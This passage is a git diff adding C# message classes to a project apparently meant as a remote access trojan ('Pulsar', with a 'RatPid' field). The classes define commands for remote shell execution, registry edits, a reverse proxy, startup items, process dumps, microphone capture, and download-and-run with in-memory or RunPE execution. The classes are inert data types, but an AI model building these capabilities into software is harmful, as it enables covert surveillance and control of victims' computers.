+ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.FileManager +{ + [MessagePackObject] + public class SetStatusFileManager : IMessage + { + [Key(1)] + public string Message { get; set; } + + [Key(2)] + public bool SetLastDirectorySeen { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoChangeRegistryValue.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoChangeRegistryValue.cs new file mode 100644 index 0000000..009f1aa --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoChangeRegistryValue.cs @@ -0,0 +1,16 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoChangeRegistryValue : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public RegValueData Value { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryKey.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryKey.cs new file mode 100644 index 0000000..3c81338 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryKey.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoCreateRegistryKey : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryValue.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryValue.cs new file mode 100644 index 0000000..96bbfa5 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoCreateRegistryValue.cs @@ -0,0 +1,16 @@ +ο»Ώusing Microsoft.Win32; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoCreateRegistryValue : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public RegistryValueKind Kind { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryKey.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryKey.cs new file mode 100644 index 0000000..e7bd485 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryKey.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoDeleteRegistryKey : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public string KeyName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryValue.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryValue.cs new file mode 100644 index 0000000..ad88125 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoDeleteRegistryValue.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoDeleteRegistryValue : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public string ValueName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoLoadRegistryKey.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoLoadRegistryKey.cs new file mode 100644 index 0000000..54f62d7 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoLoadRegistryKey.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoLoadRegistryKey : IMessage + { + [Key(1)] + public string RootKeyName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryKey.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryKey.cs new file mode 100644 index 0000000..19dd9ce --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryKey.cs @@ -0,0 +1,18 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoRenameRegistryKey : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public string OldKeyName { get; set; } + + [Key(3)] + public string NewKeyName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryValue.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryValue.cs new file mode 100644 index 0000000..d5b7ed8 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/DoRenameRegistryValue.cs @@ -0,0 +1,18 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class DoRenameRegistryValue : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public string OldValueName { get; set; } + + [Key(3)] + public string NewValueName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetChangeRegistryValueResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetChangeRegistryValueResponse.cs new file mode 100644 index 0000000..71f16c8 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetChangeRegistryValueResponse.cs @@ -0,0 +1,22 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetChangeRegistryValueResponse : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public RegValueData Value { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryKeyResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryKeyResponse.cs new file mode 100644 index 0000000..21937fb --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryKeyResponse.cs @@ -0,0 +1,22 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetCreateRegistryKeyResponse : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public RegSeekerMatch Match { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryValueResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryValueResponse.cs new file mode 100644 index 0000000..c191d8f --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetCreateRegistryValueResponse.cs @@ -0,0 +1,22 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetCreateRegistryValueResponse : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public RegValueData Value { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryKeyResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryKeyResponse.cs new file mode 100644 index 0000000..4a8ab17 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryKeyResponse.cs @@ -0,0 +1,21 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetDeleteRegistryKeyResponse : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public string KeyName { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryValueResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryValueResponse.cs new file mode 100644 index 0000000..d19e6ab --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetDeleteRegistryValueResponse.cs @@ -0,0 +1,21 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetDeleteRegistryValueResponse : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public string ValueName { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetRegistryKeysResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRegistryKeysResponse.cs new file mode 100644 index 0000000..e8c5f13 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRegistryKeysResponse.cs @@ -0,0 +1,22 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetRegistryKeysResponse : IMessage + { + [Key(1)] + public RegSeekerMatch[] Matches { get; set; } + + [Key(2)] + public string RootKey { get; set; } + + [Key(3)] + public bool IsError { get; set; } + + [Key(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryKeyResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryKeyResponse.cs new file mode 100644 index 0000000..b22ff07 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryKeyResponse.cs @@ -0,0 +1,24 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetRenameRegistryKeyResponse : IMessage + { + [Key(1)] + public string ParentPath { get; set; } + + [Key(2)] + public string OldKeyName { get; set; } + + [Key(3)] + public string NewKeyName { get; set; } + + [Key(4)] + public bool IsError { get; set; } + + [Key(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryValueResponse.cs b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryValueResponse.cs new file mode 100644 index 0000000..6833250 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RegistryEditor/GetRenameRegistryValueResponse.cs @@ -0,0 +1,24 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RegistryEditor +{ + [MessagePackObject] + public class GetRenameRegistryValueResponse : IMessage + { + [Key(1)] + public string KeyPath { get; set; } + + [Key(2)] + public string OldValueName { get; set; } + + [Key(3)] + public string NewValueName { get; set; } + + [Key(4)] + public bool IsError { get; set; } + + [Key(5)] + public string ErrorMsg { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecute.cs b/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecute.cs new file mode 100644 index 0000000..295055a --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecute.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RemoteShell +{ + [MessagePackObject] + public class DoShellExecute : IMessage + { + [Key(1)] + public string Command { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecuteResponse.cs b/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecuteResponse.cs new file mode 100644 index 0000000..c28f7b7 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/RemoteShell/DoShellExecuteResponse.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.RemoteShell +{ + [MessagePackObject] + public class DoShellExecuteResponse : IMessage + { + [Key(1)] + public string Output { get; set; } + + [Key(2)] + public bool IsError { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnect.cs b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnect.cs new file mode 100644 index 0000000..51629f4 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnect.cs @@ -0,0 +1,18 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.ReverseProxy +{ + [MessagePackObject] + public class ReverseProxyConnect : IMessage + { + [Key(1)] + public int ConnectionId { get; set; } + + [Key(2)] + public string Target { get; set; } + + [Key(3)] + public int Port { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnectResponse.cs b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnectResponse.cs new file mode 100644 index 0000000..84d76e2 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyConnectResponse.cs @@ -0,0 +1,24 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.ReverseProxy +{ + [MessagePackObject] + public class ReverseProxyConnectResponse : IMessage + { + [Key(1)] + public int ConnectionId { get; set; } + + [Key(2)] + public bool IsConnected { get; set; } + + [Key(3)] + public byte[] LocalAddress { get; set; } + + [Key(4)] + public int LocalPort { get; set; } + + [Key(5)] + public string HostName { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyData.cs b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyData.cs new file mode 100644 index 0000000..ec1a7ff --- /dev/null +++ b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyData.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.ReverseProxy +{ + [MessagePackObject] + public class ReverseProxyData : IMessage + { + [Key(1)] + public int ConnectionId { get; set; } + + [Key(2)] + public byte[] Data { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyDisconnect.cs b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyDisconnect.cs new file mode 100644 index 0000000..a6ab393 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/ReverseProxy/ReverseProxyDisconnect.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.ReverseProxy +{ + [MessagePackObject] + public class ReverseProxyDisconnect : IMessage + { + [Key(1)] + public int ConnectionId { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemAdd.cs b/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemAdd.cs new file mode 100644 index 0000000..bc15203 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemAdd.cs @@ -0,0 +1,13 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoStartupItemAdd : IMessage + { + [Key(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemRemove.cs b/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemRemove.cs new file mode 100644 index 0000000..8e814af --- /dev/null +++ b/Pulsar.Common/Messages/Administration/StartupManager/DoStartupItemRemove.cs @@ -0,0 +1,13 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class DoStartupItemRemove : IMessage + { + [Key(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItems.cs b/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItems.cs new file mode 100644 index 0000000..af4864d --- /dev/null +++ b/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItems.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.StartupManager +{ + [MessagePackObject] + public class GetStartupItems : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItemsResponse.cs b/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItemsResponse.cs new file mode 100644 index 0000000..b5f4dd1 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/StartupManager/GetStartupItemsResponse.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Administration.StartupManager +{ + [MessagePackObject] + public class GetStartupItemsResponse : IMessage + { + [Key(1)] + public List StartupItems { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfo.cs b/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfo.cs new file mode 100644 index 0000000..accb876 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfo.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.SystemInfo +{ + [MessagePackObject] + public class GetSystemInfo : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfoResponse.cs b/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfoResponse.cs new file mode 100644 index 0000000..c0a901d --- /dev/null +++ b/Pulsar.Common/Messages/Administration/SystemInfo/GetSystemInfoResponse.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using System; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetSystemInfoResponse : IMessage + { + [Key(1)] + public List> SystemInfos { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TCPConnections/DoCloseConnection.cs b/Pulsar.Common/Messages/Administration/TCPConnections/DoCloseConnection.cs new file mode 100644 index 0000000..718a527 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TCPConnections/DoCloseConnection.cs @@ -0,0 +1,21 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TCPConnections +{ + [MessagePackObject] + public class DoCloseConnection : IMessage + { + [Key(1)] + public string LocalAddress { get; set; } + + [Key(2)] + public ushort LocalPort { get; set; } + + [Key(3)] + public string RemoteAddress { get; set; } + + [Key(4)] + public ushort RemotePort { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TCPConnections/GetConnections.cs b/Pulsar.Common/Messages/Administration/TCPConnections/GetConnections.cs new file mode 100644 index 0000000..79718b2 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TCPConnections/GetConnections.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TCPConnections +{ + [MessagePackObject] + public class GetConnections : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/TCPConnections/GetConnectionsResponse.cs b/Pulsar.Common/Messages/Administration/TCPConnections/GetConnectionsResponse.cs new file mode 100644 index 0000000..3f38526 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TCPConnections/GetConnectionsResponse.cs @@ -0,0 +1,13 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.TCPConnections +{ + [MessagePackObject] + public class GetConnectionsResponse : IMessage + { + [Key(1)] + public TcpConnection[] Connections { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDump.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDump.cs new file mode 100644 index 0000000..ebbcf7d --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDump.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessDump : IMessage + { + [Key(1)] + public int Pid { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDumpResponse.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDumpResponse.cs new file mode 100644 index 0000000..14945c6 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessDumpResponse.cs @@ -0,0 +1,30 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessDumpResponse : IMessage + { + [Key(1)] + public bool Result { get; set; } + + [Key(2)] + public string DumpPath { get; set; } + + [Key(3)] + public long Length { get; set; } + + [Key(4)] + public int Pid { get; set; } + + [Key(5)] + public string ProcessName { get; set; } + + [Key(6)] + public string FailureReason { get; set; } + + [Key(7)] + public long UnixTime { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessEnd.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessEnd.cs new file mode 100644 index 0000000..b4d3b09 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessEnd.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessEnd : IMessage + { + [Key(1)] + public int Pid { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessResponse.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessResponse.cs new file mode 100644 index 0000000..6e64d0c --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessResponse.cs @@ -0,0 +1,16 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessResponse : IMessage + { + [Key(1)] + public ProcessAction Action { get; set; } + + [Key(2)] + public bool Result { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoProcessStart.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessStart.cs new file mode 100644 index 0000000..ea92427 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoProcessStart.cs @@ -0,0 +1,36 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoProcessStart : IMessage + { + [Key(1)] + public string DownloadUrl { get; set; } + + [Key(2)] + public string FilePath { get; set; } + + [Key(3)] + public bool IsUpdate { get; set; } + + [Key(4)] + public bool ExecuteInMemoryDotNet { get; set; } + + [Key(5)] + public bool UseRunPE { get; set; } + + [Key(6)] + public string RunPETarget { get; set; } + + [Key(7)] + public string RunPECustomPath { get; set; } + + [Key(8)] + public byte[] FileBytes { get; set; } + + [Key(9)] + public string FileExtension { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoSetTopMost.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoSetTopMost.cs new file mode 100644 index 0000000..5745cf9 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoSetTopMost.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoSetTopMost : IMessage + { + [Key(1)] + public int Pid { get; set; } + + [Key(2)] + public bool Enable { get; set; } // true = make topmost, false = remove + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoSetWindowState.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoSetWindowState.cs new file mode 100644 index 0000000..afd0005 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoSetWindowState.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class DoSetWindowState : IMessage + { + [Key(1)] + public int Pid { get; set; } + + [Key(2)] + public bool Minimize { get; set; } // true = minimize, false = restore + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/DoSuspendProcess.cs b/Pulsar.Common/Messages/Administration/TaskManager/DoSuspendProcess.cs new file mode 100644 index 0000000..5dde4ff --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/DoSuspendProcess.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +[MessagePackObject] +public class DoSuspendProcess : IMessage +{ + [Key(1)] + public int Pid { get; set; } + + [Key(2)] + public bool Suspend { get; set; } // true = suspend, false = resume +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/GetProcesses.cs b/Pulsar.Common/Messages/Administration/TaskManager/GetProcesses.cs new file mode 100644 index 0000000..afab1c6 --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/GetProcesses.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class GetProcesses : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Administration/TaskManager/GetProcessesResponse.cs b/Pulsar.Common/Messages/Administration/TaskManager/GetProcessesResponse.cs new file mode 100644 index 0000000..14a6c8e --- /dev/null +++ b/Pulsar.Common/Messages/Administration/TaskManager/GetProcessesResponse.cs @@ -0,0 +1,16 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Models; + +namespace Pulsar.Common.Messages.Administration.TaskManager +{ + [MessagePackObject] + public class GetProcessesResponse : IMessage + { + [Key(1)] + public Process[] Processes { get; set; } + + [Key(2)] + public int? RatPid { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetMicrophone.cs b/Pulsar.Common/Messages/Audio/GetMicrophone.cs new file mode 100644 index 0000000..188a7db --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetMicrophone.cs @@ -0,0 +1,21 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetMicrophone : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int DeviceIndex { get; set; } + + [Key(3)] + public int Bitrate { get; set; } + + [Key(4)] + public bool Destroy { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetMicrophoneDevice.cs b/Pulsar.Common/Messages/Audio/GetMicrophoneDevice.cs new file mode 100644 index 0000000..b4859ea --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetMicrophoneDevice.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetMicrophoneDevice : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Audio/GetMicrophoneDeviceResponse.cs b/Pulsar.Common/Messages/Audio/GetMicrophoneDeviceResponse.cs new file mode 100644 index 0000000..0fed34a --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetMicrophoneDeviceResponse.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using System; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetMicrophoneDeviceResponse : IMessage + { + [Key(1)] + public List> DeviceInfos { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetMicrophoneResponse.cs b/Pulsar.Common/Messages/Audio/GetMicrophoneResponse.cs new file mode 100644 index 0000000..2125c77 --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetMicrophoneResponse.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetMicrophoneResponse : IMessage + { + [Key(1)] + public byte[] Audio { get; set; } + + [Key(2)] + public int Device { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetOutput.cs b/Pulsar.Common/Messages/Audio/GetOutput.cs new file mode 100644 index 0000000..34a39a0 --- /dev/null +++ b/Pulsar.Common/Messages/Audio/GetOutput.cs @@ -0,0 +1,21 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Audio +{ + [MessagePackObject] + public class GetOutput : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int DeviceIndex { get; set; } + + [Key(3)] + public int Bitrate { get; set; } + + [Key(4)] + public bool Destroy { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Audio/GetOutputDevice.cs 